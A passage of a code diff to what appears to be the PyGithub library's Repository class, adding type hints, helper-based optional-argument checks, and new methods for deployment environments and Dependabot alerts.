is_autolink or isinstance(autolink, int), autolink status, _, _ = self._requester.requestJson( - "DELETE", f"{self.url}/autolinks/{autolink.id if is_autolink else autolink}" + "DELETE", f"{self.url}/autolinks/{autolink.id if is_autolink else autolink}" # type: ignore ) return status == 204 - def subscribe_to_hub(self, event, callback, secret=github.GithubObject.NotSet): + def subscribe_to_hub(self, event: str, callback: str, secret: Opt[str] = NotSet) -> None: """ :calls: `POST /hub `_ :param event: string @@ -3628,7 +3700,7 @@ def subscribe_to_hub(self, event, callback, secret=github.GithubObject.NotSet): """ return self._hub("subscribe", event, callback, secret) - def unsubscribe_from_hub(self, event, callback): + def unsubscribe_from_hub(self, event: str, callback: str) -> None: """ :calls: `POST /hub `_ :param event: string @@ -3636,9 +3708,9 @@ def unsubscribe_from_hub(self, event, callback): :param secret: string :rtype: None """ - return self._hub("unsubscribe", event, callback, github.GithubObject.NotSet) + return self._hub("unsubscribe", event, callback, NotSet) - def create_check_suite(self, head_sha): + def create_check_suite(self, head_sha: str) -> CheckSuite: """ :calls: `POST /repos/{owner}/{repo}/check-suites `_ :param head_sha: string @@ -3650,11 +3722,9 @@ def create_check_suite(self, head_sha): f"{self.url}/check-suites", input={"head_sha": head_sha}, ) - return github.CheckSuite.CheckSuite( - self._requester, headers, data, completed=True - ) + return github.CheckSuite.CheckSuite(self._requester, headers, data, completed=True) - def get_check_suite(self, check_suite_id): + def get_check_suite(self, check_suite_id: int) -> CheckSuite: """ :calls: `GET /repos/{owner}/{repo}/check-suites/{check_suite_id} `_ :param check_suite_id: int @@ -3667,74 +3737,63 @@ def get_check_suite(self, check_suite_id): f"{self.url}/check-suites/{check_suite_id}", headers=requestHeaders, ) - return github.CheckSuite.CheckSuite( - self._requester, headers, data, completed=True - ) + return github.CheckSuite.CheckSuite(self._requester, headers, data, completed=True) - def update_check_suites_preferences(self, auto_trigger_checks): + def update_check_suites_preferences( + self, auto_trigger_checks: list[dict[str, bool | int]] + ) -> RepositoryPreferences: """ :calls: `PATCH /repos/{owner}/{repo}/check-suites/preferences `_ :param auto_trigger_checks: list of dict :rtype: :class:`github.RepositoryPreferences.RepositoryPreferences` """ - assert all( - isinstance(element, dict) for element in auto_trigger_checks - ), auto_trigger_checks + assert all(isinstance(element, dict) for element in auto_trigger_checks), auto_trigger_checks headers, data = self._requester.requestJsonAndCheck( "PATCH", f"{self.url}/check-suites/preferences", input={"auto_trigger_checks": auto_trigger_checks}, ) - return github.RepositoryPreferences.RepositoryPreferences( - self._requester, headers, data, completed=True - ) + return github.RepositoryPreferences.RepositoryPreferences(self._requester, headers, data, completed=True) - def _hub(self, mode, event, callback, secret): + def _hub(self, mode: str, event: str, callback: str, secret: Opt[str]) -> None: assert isinstance(mode, str), mode assert isinstance(event, str), event assert isinstance(callback, str), callback - assert secret is github.GithubObject.NotSet or isinstance(secret, str), secret + assert is_optional(secret, str), secret + event = urllib.parse.quote(event) post_parameters = collections.OrderedDict() post_parameters["hub.callback"] = callback - post_parameters[ - "hub.topic" - ] = f"https://github.com/{self.full_name}/events/{event}" + post_parameters["hub.topic"] = f"https://github.com/{self.full_name}/events/{event}" post_parameters["hub.mode"] = mode - if secret is not github.GithubObject.NotSet: + if is_defined(secret): post_parameters["hub.secret"] = secret - headers, output = self._requester.requestMultipartAndCheck( - "POST", "/hub", input=post_parameters - ) + headers, output = self._requester.requestMultipartAndCheck("POST", "/hub", input=post_parameters) @property - def _identity(self): + def _identity(self) -> str: return f"{self.owner.login}/{self.name}" - def get_release_asset(self, id): + def get_release_asset(self, id: int) -> GitReleaseAsset: assert isinstance(id, (int)), id - resp_headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/releases/assets/{id}" - ) - return github.GitReleaseAsset.GitReleaseAsset( - self._requester, resp_headers, data, completed=True - ) + resp_headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/releases/assets/{id}") + return github.GitReleaseAsset.GitReleaseAsset(self._requester, resp_headers, data, completed=True) def create_check_run( self, - name, - head_sha, - details_url=github.GithubObject.NotSet, - external_id=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - started_at=github.GithubObject.NotSet, - conclusion=github.GithubObject.NotSet, - completed_at=github.GithubObject.NotSet, - output=github.GithubObject.NotSet, - actions=github.GithubObject.NotSet, - ): + name: str, + head_sha: str, + details_url: Opt[str] = NotSet, + external_id: Opt[str] = NotSet, + status: Opt[str] = NotSet, + started_at: Opt[datetime] = NotSet, + conclusion: Opt[str] = NotSet, + completed_at: Opt[datetime] = NotSet, + output: Opt[dict[str, str | list[dict[str, str | int]]]] = NotSet, + actions: Opt[list[dict[str, str]]] = NotSet, + ) -> CheckRun: """ :calls: `POST /repos/{owner}/{repo}/check-runs `_ :param name: string @@ -3742,58 +3801,41 @@ def create_check_run( :param details_url: string :param external_id: string :param status: string - :param started_at: datetime.datetime + :param started_at: datetime :param conclusion: string - :param completed_at: datetime.datetime + :param completed_at: datetime :param output: dict :param actions: list of dict :rtype: :class:`github.CheckRun.CheckRun` """ assert isinstance(name, str), name assert isinstance(head_sha, str), head_sha - assert details_url is github.GithubObject.NotSet or isinstance( - details_url, str - ), details_url - assert external_id is github.GithubObject.NotSet or isinstance( - external_id, str - ), external_id - assert status is github.GithubObject.NotSet or isinstance(status, str), status - assert started_at is github.GithubObject.NotSet or isinstance( - started_at, datetime.datetime - ), started_at - assert conclusion is github.GithubObject.NotSet or isinstance( - conclusion, str - ), conclusion - assert completed_at is github.GithubObject.NotSet or isinstance( - completed_at, datetime.datetime - ), completed_at - assert output is github.GithubObject.NotSet or isinstance(output, dict), output - assert actions is github.GithubObject.NotSet or all( - isinstance(element, dict) for element in actions - ), actions - - post_parameters = { - "name": name, - "head_sha": head_sha, - } - if details_url is not github.GithubObject.NotSet: - post_parameters["details_url"] = details_url - if external_id is not github.GithubObject.NotSet: - post_parameters["external_id"] = external_id - if status is not github.GithubObject.NotSet: - post_parameters["status"] = status - if started_at is not github.GithubObject.NotSet: + assert is_optional(details_url, str), details_url + assert is_optional(external_id, str), external_id + assert is_optional(status, str), status + assert is_optional(started_at, datetime), started_at + assert is_optional(conclusion, str), conclusion + assert is_optional(completed_at, datetime), completed_at + assert is_optional(output, dict), output + assert is_optional_list(actions, dict), actions + + post_parameters = NotSet.remove_unset_items( + { + "name": name, + "head_sha": head_sha, + "details_url": details_url, + "external_id": external_id, + "status": status, + "conclusion": conclusion, + "output": output, + "actions": actions, + } + ) + + if is_defined(started_at): post_parameters["started_at"] = started_at.strftime("%Y-%m-%dT%H:%M:%SZ") - if completed_at is not github.GithubObject.NotSet: - post_parameters["completed_at"] = completed_at.strftime( - "%Y-%m-%dT%H:%M:%SZ" - ) - if conclusion is not github.GithubObject.NotSet: - post_parameters["conclusion"] = conclusion - if output is not github.GithubObject.NotSet: - post_parameters["output"] = output - if actions is not github.GithubObject.NotSet: - post_parameters["actions"] = actions + if is_defined(completed_at): + post_parameters["completed_at"] = completed_at.strftime("%Y-%m-%dT%H:%M:%SZ") headers, data = self._requester.requestJsonAndCheck( "POST", @@ -3802,49 +3844,49 @@ def create_check_run( ) return github.CheckRun.CheckRun(self._requester, headers, data, completed=True) - def get_check_run(self, check_run_id): + def get_check_run(self, check_run_id: int) -> CheckRun: """ :calls: `GET /repos/{owner}/{repo}/check-runs/{check_run_id} `_ :param check_run_id: int :rtype: :class:`github.CheckRun.CheckRun` """ assert isinstance(check_run_id, int), check_run_id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/check-runs/{check_run_id}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/check-runs/{check_run_id}") return github.CheckRun.CheckRun(self._requester, headers, data, completed=True) - def get_artifacts(self): + def get_artifacts(self, name: Opt[str] = NotSet) -> PaginatedList[Artifact]: """ :calls: `GET /repos/{owner}/{repo}/actions/artifacts `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Artifact.Artifact` + :param name: str + :rtype: :class:`PaginatedList` of :class:`github.Artifact.Artifact` """ - return github.PaginatedList.PaginatedList( + assert is_optional(name, str), name + + param = {key: value for key, value in {"name": name}.items() if is_defined(value)} + + return PaginatedList( github.Artifact.Artifact, self._requester, f"{self.url}/actions/artifacts", - None, + firstParams=param, list_item="artifacts", ) - def get_artifact(self, artifact_id): + def get_artifact(self, artifact_id: int) -> Artifact: """ :calls: `GET /repos/{owner}/{repo}/actions/artifacts/{artifact_id} `_ :param artifact_id: int :rtype: :class:`github.Artifact.Artifact` """ assert isinstance(artifact_id, int), artifact_id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/artifacts/{artifact_id}" - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/artifacts/{artifact_id}") return github.Artifact.Artifact(self._requester, headers, data, completed=True) - def get_codescan_alerts(self, ref=github.GithubObject.NotSet): + def get_codescan_alerts(self, ref: Opt[str] = NotSet) -> PaginatedList[CodeScanAlert]: """ :calls: `GET https://api.github.com/repos/{owner}/{repo}/code-scanning/alerts `_ - :param: ref: string :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CodeScanAlert.CodeScanAlert` """ assert ref is github.GithubObject.NotSet or isinstance(ref, str), ref @@ -3852,14 +3894,14 @@ def get_codescan_alerts(self, ref=github.GithubObject.NotSet): if ref is not github.GithubObject.NotSet: parameters["ref"] = ref - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CodeScanAlert.CodeScanAlert, self._requester, f"{self.url}/code-scanning/alerts", parameters, ) - def get_code_scanning_analyses(self, ref=github.GithubObject.NotSet): + def get_code_scanning_analyses(self, ref: Opt[str] = NotSet) -> PaginatedList[CodeScanningAnalysis]: """ :calls: `GET https://api.github.com/repos/{owner}/{repo}/code-scanning/analyses `_ :param: ref: string @@ -3878,133 +3920,305 @@ def get_code_scanning_analyses(self, ref=github.GithubObject.NotSet): parameters, ) - def get_dependabot_alerts(self): + def get_environments(self) -> PaginatedList[Environment]: """ - :calls: `GET https://api.github.com/repos/{owner}/{repo}/dependabot/alerts - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.DependabotAlert.DependabotAlert` + :calls: `GET /repositories/{self._repository.id}/environments/{self.environment_name}/environments `_ + :rtype: :class:`PaginatedList` of :class:`github.Environment.Environment` """ - return github.PaginatedList.PaginatedList( - github.DependabotAlert.DependabotAlert, + return PaginatedList( + Environment, self._requester, - f"{self.url}/dependabot/alerts", + f"{self.url}/environments", None, + attributesTransformer=PaginatedList.override_attributes( + {"environments_url": f"/repositories/{self.id}/environments"} + ), + list_item="environments", ) - def get_secret_scanning_alerts(self): + def get_secret_scanning_alerts(self) -> PaginatedList[SecretScanningAlert]: """ :calls: `GET https://api.github.com/repos/{owner}/{repo}/secret-scanning/alerts :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.SecretScanningAlert.SecretScanningAlert` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.SecretScanningAlert.SecretScanningAlert, self._requester, f"{self.url}/secret-scanning/alerts", None, ) - def _initAttributes(self): - self._allow_forking = github.GithubObject.NotSet - self._allow_merge_commit = github.GithubObject.NotSet - self._allow_rebase_merge = github.GithubObject.NotSet - self._allow_squash_merge = github.GithubObject.NotSet - self._archived = github.GithubObject.NotSet - self._archive_url = github.GithubObject.NotSet - self._assignees_url = github.GithubObject.NotSet - self._blobs_url = github.GithubObject.NotSet - self._branches_url = github.GithubObject.NotSet - self._clone_url = github.GithubObject.NotSet - self._collaborators_url = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._commits_url = github.GithubObject.NotSet - self._compare_url = github.GithubObject.NotSet - self._contents_url = github.GithubObject.NotSet - self._contributors_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._default_branch = github.GithubObject.NotSet - self._delete_branch_on_merge = github.GithubObject.NotSet - self._deployments_url = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._downloads_url = github.GithubObject.NotSet - self._events_url = github.GithubObject.NotSet - self._fork = github.GithubObject.NotSet - self._forks = github.GithubObject.NotSet - self._forks_count = github.GithubObject.NotSet - self._forks_url = github.GithubObject.NotSet - self._full_name = github.GithubObject.NotSet - self._git_commits_url = github.GithubObject.NotSet - self._git_refs_url = github.GithubObject.NotSet - self._git_tags_url = github.GithubObject.NotSet - self._git_url = github.GithubObject.NotSet - self._has_downloads = github.GithubObject.NotSet - self._has_issues = github.GithubObject.NotSet - self._has_pages = github.GithubObject.NotSet - self._has_projects = github.GithubObject.NotSet - self._has_wiki = github.GithubObject.NotSet - self._homepage = github.GithubObject.NotSet - self._hooks_url = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._is_template = github.GithubObject.NotSet - self._issue_comment_url = github.GithubObject.NotSet - self._issue_events_url = github.GithubObject.NotSet - self._issues_url = github.GithubObject.NotSet - self._keys_url = github.GithubObject.NotSet - self._labels_url = github.GithubObject.NotSet - self._language = github.GithubObject.NotSet - self._languages_url = github.GithubObject.NotSet - self._master_branch = github.GithubObject.NotSet - self._merges_url = github.GithubObject.NotSet - self._milestones_url = github.GithubObject.NotSet - self._mirror_url = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._network_count = github.GithubObject.NotSet - self._notifications_url = github.GithubObject.NotSet - self._open_issues = github.GithubObject.NotSet - self._open_issues_count = github.GithubObject.NotSet - self._organization = github.GithubObject.NotSet - self._owner = github.GithubObject.NotSet - self._parent = github.GithubObject.NotSet - self._permissions = github.GithubObject.NotSet - self._private = github.GithubObject.NotSet - self._pulls_url = github.GithubObject.NotSet - self._pushed_at = github.GithubObject.NotSet - self._releases_url = github.GithubObject.NotSet - self._security_and_analysis = github.GithubObject.NotSet - self._size = github.GithubObject.NotSet - self._source = github.GithubObject.NotSet - self._ssh_url = github.GithubObject.NotSet - self._stargazers_count = github.GithubObject.NotSet - self._stargazers_url = github.GithubObject.NotSet - self._statuses_url = github.GithubObject.NotSet - self._subscribers_url = github.GithubObject.NotSet - self._subscribers_count = github.GithubObject.NotSet - self._subscription_url = github.GithubObject.NotSet - self._svn_url = github.GithubObject.NotSet - self._tags_url = github.GithubObject.NotSet - self._teams_url = github.GithubObject.NotSet - self._topics = github.GithubObject.NotSet - self._trees_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._visibility = github.GithubObject.NotSet - self._watchers = github.GithubObject.NotSet - self._watchers_count = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def get_environment(self, environment_name: str) -> Environment: + """ + :calls: `GET /repositories/{self._repository.id}/environments/{self.environment_name}/environments/{environment_name} `_ + :rtype: :class:`github.Environment.Environment` + """ + assert isinstance(environment_name, str), environment_name + environment_name = urllib.parse.quote(environment_name) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/environments/{environment_name}") + data["environments_url"] = f"/repositories/{self.id}/environments" + return Environment(self._requester, headers, data, completed=True) + + def create_environment( + self, + environment_name: str, + wait_timer: int = 0, + reviewers: list[ReviewerParams] = [], + deployment_branch_policy: EnvironmentDeploymentBranchPolicyParams | None = None, + ) -> Environment: + """ + :calls: `PUT /repositories/{self._repository.id}/environments/{self.environment_name}/environments/{environment_name} `_ + :param environment_name: string + :param wait_timer: int + :param reviews: List[:class:github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams] + :param deployment_branch_policy: Optional[:class:github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams`] + :rtype: :class:`github.Environment.Environment` + """ + assert isinstance(environment_name, str), environment_name + assert isinstance(wait_timer, int) + assert isinstance(reviewers, list) + assert all( + [isinstance(reviewer, github.EnvironmentProtectionRuleReviewer.ReviewerParams) for reviewer in reviewers] + ) + assert ( + isinstance( + deployment_branch_policy, + github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicyParams, + ) + or deployment_branch_policy is None + ) + environment_name = urllib.parse.quote(environment_name) + + put_parameters = { + "wait_timer": wait_timer, + "reviewers": [reviewer._asdict() for reviewer in reviewers], + "deployment_branch_policy": deployment_branch_policy._asdict() if deployment_branch_policy else None, + } + + headers, data = self._requester.requestJsonAndCheck( + "PUT", f"{self.url}/environments/{environment_name}", input=put_parameters + ) + data["environments_url"] = f"/repositories/{self.id}/environments" + return Environment(self._requester, headers, data, completed=True) + + def delete_environment(self, environment_name: str) -> None: + """ + :calls: `DELETE /repositories/{self._repository.id}/environments/{self.environment_name}/environments/{environment_name} `_ + :param environment_name: string + :rtype: None + """ + assert isinstance(environment_name, str), environment_name + environment_name = urllib.parse.quote(environment_name) + + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/environments/{environment_name}") + + def get_dependabot_alerts( + self, + state: Opt[str] = NotSet, + severity: Opt[str] = NotSet, + ecosystem: Opt[str] = NotSet, + package: Opt[str] = NotSet, + manifest: Opt[str] = NotSet, + scope: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[DependabotAlert]: + """ + :calls: `GET /repos/{owner}/{repo}/dependabot/alerts `_ + :param state: Optional string + :param severity: Optional string + :param ecosystem: Optional string + :param package: Optional string + :param manifest: Optional string + :param scope: Optional string + :param sort: Optional string + :param direction: Optional string + :rtype: :class:`PaginatedList` of :class:`github.DependabotAlert.DependabotAlert` + """ + allowed_states = ["auto_dismissed", "dismissed", "fixed", "open"] + allowed_severities = ["low", "medium", "high", "critical"] + allowed_ecosystems = ["composer", "go", "maven", "npm", "nuget", "pip", "pub", "rubygems", "rust"] + allowed_scopes = ["development", "runtime"] + allowed_sorts = ["created", "updated"] + allowed_directions = ["asc", "desc"] + assert state in allowed_states + [NotSet], f"State can be one of {', '.join(allowed_states)}" + assert severity in allowed_severities + [NotSet], f"Severity can be one of {', '.join(allowed_severities)}" + assert ecosystem in allowed_ecosystems + [NotSet], f"Ecosystem can be one of {', '.join(allowed_ecosystems)}" + assert scope in allowed_scopes + [NotSet], f"Scope can be one of {', '.join(allowed_scopes)}" + assert sort in allowed_sorts + [NotSet], f"Sort can be one of {', '.join(allowed_sorts)}" + assert direction in allowed_directions + [NotSet], f"Direction can be one of {', '.join(allowed_directions)}" + url_parameters = NotSet.remove_unset_items( + { + "state": state, + "severity": severity, + "ecosystem": ecosystem, + "package": package, + "manifest": manifest, + "scope": scope, + "sort": sort, + "direction": direction, + } + ) + return PaginatedList( + github.DependabotAlert.DependabotAlert, + self._requester, + f"{self.url}/dependabot/alerts", + url_parameters, + ) + + def get_dependabot_alert(self, number: int) -> DependabotAlert: + """ + :calls: `GET /repos/{owner}/{repo}/dependabot/alerts/{alert_number} `_ + :param number: int + :rtype: :class:`github.DependabotAlert.DependabotAlert` + """ + assert isinstance(number, int), number + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/dependabot/alerts/{number}") + return github.DependabotAlert.DependabotAlert(self._requester, headers, data, completed=True) + + def update_dependabot_alert( + self, number: int, state: str, dismissed_reason: Opt[str] = NotSet, dismissed_comment: Opt[str] = NotSet + ) -> DependabotAlert: + """ + :calls: `PATCH /repos/{owner}/{repo}/dependabot/alerts/{alert_number} `_ + :param number: int + :param state: string + :param dismissed_reason: Optional string + :param dismissed_comment: Optional string + :rtype: :class:`github.DependabotAlert.DependabotAlert` + """ + assert isinstance(number, int), number + assert isinstance(state, str), state + assert state in ["dismissed", "open"], "State can be one of ['dismissed', 'open']" + if state == "dismissed": + assert is_defined(dismissed_reason) + assert dismissed_reason in [ + "fix_started", + "inaccurate", + "no_bandwidth", + "not_used", + "tolerable_risk", + ], "Dismissed reason can be one of ['fix_started', 'inaccurate', 'no_bandwidth', 'not_used', 'tolerable_risk']" + assert is_optional(dismissed_comment, str), dismissed_comment + headers, data = self._requester.requestJsonAndCheck( + "PATCH", + f"{self.url}/dependabot/alerts/{number}", + input=NotSet.remove_unset_items( + {"state": state, "dismissed_reason": dismissed_reason, "dismissed_comment": dismissed_comment} + ), + ) + return github.DependabotAlert.DependabotAlert(self._requester, headers, data, completed=True) + + def _initAttributes(self) -> None: + self._allow_auto_merge: Attribute[bool] = NotSet + self._allow_forking: Attribute[bool] = NotSet + self._allow_merge_commit: Attribute[bool] = NotSet + self._allow_rebase_merge: Attribute[bool] = NotSet + self._allow_squash_merge: Attribute[bool] = NotSet + self._allow_update_branch: Attribute[bool] = NotSet + self._archived: Attribute[bool] = NotSet + self._archive_url: Attribute[str] = NotSet + self._assignees_url: Attribute[str] = NotSet + self._blobs_url: Attribute[str] = NotSet + self._branches_url: Attribute[str] = NotSet + self._clone_url: Attribute[str] = NotSet + self._collaborators_url: Attribute[str] = NotSet + self._comments_url: Attribute[str] = NotSet + self._commits_url: Attribute[str] = NotSet + self._compare_url: Attribute[str] = NotSet + self._contents_url: Attribute[str] = NotSet + self._contributors_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._default_branch: Attribute[str] = NotSet + self._delete_branch_on_merge: Attribute[bool] = NotSet + self._deployments_url: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + self._downloads_url: Attribute[str] = NotSet + self._events_url: Attribute[str] = NotSet + self._fork: Attribute[bool] = NotSet + self._forks: Attribute[int] = NotSet + self._forks_count: Attribute[int] = NotSet + self._forks_url: Attribute[str] = NotSet + self._full_name: Attribute[str] = NotSet + self._git_commits_url: Attribute[str] = NotSet + self._git_refs_url: Attribute[str] = NotSet + self._git_tags_url: Attribute[str] = NotSet + self._git_url: Attribute[str] = NotSet + self._has_downloads: Attribute[bool] = NotSet + self._has_issues: Attribute[bool] = NotSet + self._has_pages: Attribute[bool] = NotSet + self._has_projects: Attribute[bool] = NotSet + self._has_wiki: Attribute[bool] = NotSet + self._homepage: Attribute[str] = NotSet + self._hooks_url: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._is_template: Attribute[bool] = NotSet + self._issue_comment_url: Attribute[str] = NotSet + self._issue_events_url: Attribute[str] = NotSet + self._issues_url: Attribute[str] = NotSet + self._keys_url: Attribute[str] = NotSet + self._labels_url: Attribute[str] = NotSet + self._language: Attribute[str] = NotSet + self._languages_url: Attribute[str] = NotSet + self._license: Attribute[License] = NotSet + self._master_branch: Attribute[str] = NotSet + self._merge_commit_message: Attribute[str] = NotSet + self._merge_commit_title: Attribute[str] = NotSet + self._merges_url: Attribute[str] = NotSet + self._milestones_url: Attribute[str] = NotSet + self._mirror_url: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._network_count: Attribute[int] = NotSet + self._notifications_url: Attribute[str] = NotSet + self._open_issues: Attribute[int] = NotSet + self._open_issues_count: Attribute[int] = NotSet + self._organization: Attribute[Organization] = NotSet + self._owner: Attribute[NamedUser] = NotSet + self._parent: Attribute[Repository] = NotSet + self._permissions: Attribute[Permissions] = NotSet + self._private: Attribute[bool] = NotSet + self._pulls_url: Attribute[str] = NotSet + self._pushed_at: Attribute[datetime] = NotSet + self._releases_url: Attribute[str] = NotSet + self._security_and_analysis: Attribute[SecurityAndAnalysis] = NotSet + self._size: Attribute[int] = NotSet + self._source: Attribute[Repository] = NotSet + self._squash_merge_commit_message: Attribute[str] = NotSet + self._squash_merge_commit_title: Attribute[str] = NotSet + self._ssh_url: Attribute[str] = NotSet + self._stargazers_count: Attribute[int] = NotSet + self._stargazers_url: Attribute[str] = NotSet + self._statuses_url: Attribute[str] = NotSet + self._subscribers_url: Attribute[str] = NotSet + self._subscribers_count: Attribute[int] = NotSet + self._subscription_url: Attribute[str] = NotSet + self._svn_url: Attribute[str] = NotSet + self._tags_url: Attribute[str] = NotSet + self._teams_url: Attribute[str] = NotSet + self._topics: Attribute[list[str]] = NotSet + self._trees_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._use_squash_pr_title_as_default: Attribute[bool] = NotSet + self._visibility: Attribute[str] = NotSet + self._watchers: Attribute[int] = NotSet + self._watchers_count: Attribute[int] = NotSet + self._web_commit_signoff_required: Attribute[bool] = NotSet + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "allow_auto_merge" in attributes: # pragma no branch + self._allow_auto_merge = self._makeBoolAttribute(attributes["allow_auto_merge"]) if "allow_forking" in attributes: # pragma no branch self._allow_forking = self._makeBoolAttribute(attributes["allow_forking"]) if "allow_merge_commit" in attributes: # pragma no branch - self._allow_merge_commit = self._makeBoolAttribute( - attributes["allow_merge_commit"] - ) + self._allow_merge_commit = self._makeBoolAttribute(attributes["allow_merge_commit"]) if "allow_rebase_merge" in attributes: # pragma no branch - self._allow_rebase_merge = self._makeBoolAttribute( - attributes["allow_rebase_merge"] - ) + self._allow_rebase_merge = self._makeBoolAttribute(attributes["allow_rebase_merge"]) if "allow_squash_merge" in attributes: # pragma no branch - self._allow_squash_merge = self._makeBoolAttribute( - attributes["allow_squash_merge"] - ) + self._allow_squash_merge = self._makeBoolAttribute(attributes["allow_squash_merge"]) + if "allow_update_branch" in attributes: # pragma no branch + self._allow_update_branch = self._makeBoolAttribute(attributes["allow_update_branch"]) if "archived" in attributes: # pragma no branch self._archived = self._makeBoolAttribute(attributes["archived"]) if "archive_url" in attributes: # pragma no branch @@ -4018,9 +4232,7 @@ def _useAttributes(self, attributes): if "clone_url" in attributes: # pragma no branch self._clone_url = self._makeStringAttribute(attributes["clone_url"]) if "collaborators_url" in attributes: # pragma no branch - self._collaborators_url = self._makeStringAttribute( - attributes["collaborators_url"] - ) + self._collaborators_url = self._makeStringAttribute(attributes["collaborators_url"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commits_url" in attributes: # pragma no branch @@ -4030,23 +4242,15 @@ def _useAttributes(self, attributes): if "contents_url" in attributes: # pragma no branch self._contents_url = self._makeStringAttribute(attributes["contents_url"]) if "contributors_url" in attributes: # pragma no branch - self._contributors_url = self._makeStringAttribute( - attributes["contributors_url"] - ) + self._contributors_url = self._makeStringAttribute(attributes["contributors_url"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "default_branch" in attributes: # pragma no branch - self._default_branch = self._makeStringAttribute( - attributes["default_branch"] - ) + self._default_branch = self._makeStringAttribute(attributes["default_branch"]) if "delete_branch_on_merge" in attributes: # pragma no branch - self._delete_branch_on_merge = self._makeBoolAttribute( - attributes["delete_branch_on_merge"] - ) + self._delete_branch_on_merge = self._makeBoolAttribute(attributes["delete_branch_on_merge"]) if "deployments_url" in attributes: # pragma no branch - self._deployments_url = self._makeStringAttribute( - attributes["deployments_url"] - ) + self._deployments_url = self._makeStringAttribute(attributes["deployments_url"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "downloads_url" in attributes: # pragma no branch @@ -4064,9 +4268,7 @@ def _useAttributes(self, attributes): if "full_name" in attributes: # pragma no branch self._full_name = self._makeStringAttribute(attributes["full_name"]) if "git_commits_url" in attributes: # pragma no branch - self._git_commits_url = self._makeStringAttribute( - attributes["git_commits_url"] - ) + self._git_commits_url = self._makeStringAttribute(attributes["git_commits_url"]) if "git_refs_url" in attributes: # pragma no branch self._git_refs_url = self._makeStringAttribute(attributes["git_refs_url"]) if "git_tags_url" in attributes: # pragma no branch @@ -4094,13 +4296,9 @@ def _useAttributes(self, attributes): if "is_template" in attributes: # pragma no branch self._is_template = self._makeBoolAttribute(attributes["is_template"]) if "issue_comment_url" in attributes: # pragma no branch - self._issue_comment_url = self._makeStringAttribute( - attributes["issue_comment_url"] - ) + self._issue_comment_url = self._makeStringAttribute(attributes["issue_comment_url"]) if "issue_events_url" in attributes: # pragma no branch - self._issue_events_url = self._makeStringAttribute( - attributes["issue_events_url"] - ) + self._issue_events_url = self._makeStringAttribute(attributes["issue_events_url"]) if "issues_url" in attributes: # pragma no branch self._issues_url = self._makeStringAttribute(attributes["issues_url"]) if "keys_url" in attributes: # pragma no branch @@ -4111,14 +4309,18 @@ def _useAttributes(self, attributes): self._language = self._makeStringAttribute(attributes["language"]) if "languages_url" in attributes: # pragma no branch self._languages_url = self._makeStringAttribute(attributes["languages_url"]) + if "license" in attributes: # pragma no branch + self._license = self._makeClassAttribute(github.License.License, attributes["license"]) if "master_branch" in attributes: # pragma no branch self._master_branch = self._makeStringAttribute(attributes["master_branch"]) if "merges_url" in attributes: # pragma no branch self._merges_url = self._makeStringAttribute(attributes["merges_url"]) + if "merge_commit_message" in attributes: # pragma no branch + self._merge_commit_message = self._makeStringAttribute(attributes["merge_commit_message"]) + if "merge_commit_title" in attributes: # pragma no branch + self._merge_commit_title = self._makeStringAttribute(attributes["merge_commit_title"]) if "milestones_url" in attributes: # pragma no branch - self._milestones_url = self._makeStringAttribute( - attributes["milestones_url"] - ) + self._milestones_url = self._makeStringAttribute(attributes["milestones_url"]) if "mirror_url" in attributes: # pragma no branch self._mirror_url = self._makeStringAttribute(attributes["mirror_url"]) if "name" in attributes: # pragma no branch @@ -4126,29 +4328,19 @@ def _useAttributes(self, attributes): if "network_count" in attributes: # pragma no branch self._network_count = self._makeIntAttribute(attributes["network_count"]) if "notifications_url" in attributes: # pragma no branch - self._notifications_url = self._makeStringAttribute( - attributes["notifications_url"] - ) + self._notifications_url = self._makeStringAttribute(attributes["notifications_url"]) if "open_issues" in attributes: # pragma no branch self._open_issues = self._makeIntAttribute(attributes["open_issues"]) if "open_issues_count" in attributes: # pragma no branch - self._open_issues_count = self._makeIntAttribute( - attributes["open_issues_count"] - ) + self._open_issues_count = self._makeIntAttribute(attributes["open_issues_count"]) if "organization" in attributes: # pragma no branch - self._organization = self._makeClassAttribute( - github.Organization.Organization, attributes["organization"] - ) + self._organization = self._makeClassAttribute(github.Organization.Organization, 